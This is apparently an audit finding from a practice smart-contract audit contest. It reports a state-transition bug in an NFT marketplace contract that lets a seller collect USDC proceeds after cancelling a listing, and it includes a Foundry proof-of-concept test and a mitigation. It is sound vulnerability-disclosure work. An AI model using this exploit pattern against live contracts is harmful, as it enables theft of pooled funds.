NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Settlement Can Be Claimed After Cancellation Without Any Sale (Invalid Listing State Transition)

Author Revealed upon completion

Description:
cancelListing sets isActive = false. Later, collectUsdcFromSelling only checks !listing.isActive, so canceled listings pass the gate even though no sale occurred.

Impact:
Critical. A seller can claim synthetic sale proceeds from global contract USDC balance after cancellation, causing direct fund loss when liquidity exists.

Proof of Concept:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.34;
import {Test} from "forge-std/Test.sol";
import {NFTDealers} from "../../src/NFTDealers.sol";
import {MockUSDC} from "../../src/MockUSDC.sol";
contract ValidateMissedFindingsTest is Test {
NFTDealers internal nftDealers;
MockUSDC internal usdc;
address internal owner = makeAddr("owner");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
uint256 internal constant LOCK_AMOUNT = 20e6;
uint256 internal constant NFT_PRICE = 1000e6;
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD", "ipfs://x", LOCK_AMOUNT);
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(alice);
vm.prank(owner);
nftDealers.whitelistWallet(bob);
usdc.mint(alice, 5_000e6);
usdc.mint(bob, 5_000e6);
}
function testMissed_CanCollectAfterCancelIfContractHasFunds() public {
vm.startPrank(alice);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
nftDealers.list(1, uint32(NFT_PRICE));
nftDealers.cancelListing(1);
vm.stopPrank();
usdc.mint(address(nftDealers), 5_000e6);
uint256 beforeBal = usdc.balanceOf(alice);
vm.prank(alice);
nftDealers.collectUsdcFromSelling(1);
uint256 afterBal = usdc.balanceOf(alice);
assertGt(afterBal, beforeBal, "seller can collect proceeds despite no sale");
}
}

Recommended Mitigation:
Use strict listing lifecycle states (Listed, Sold, Cancelled, Claimed) and allow settlement collection only from Sold state exactly once.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!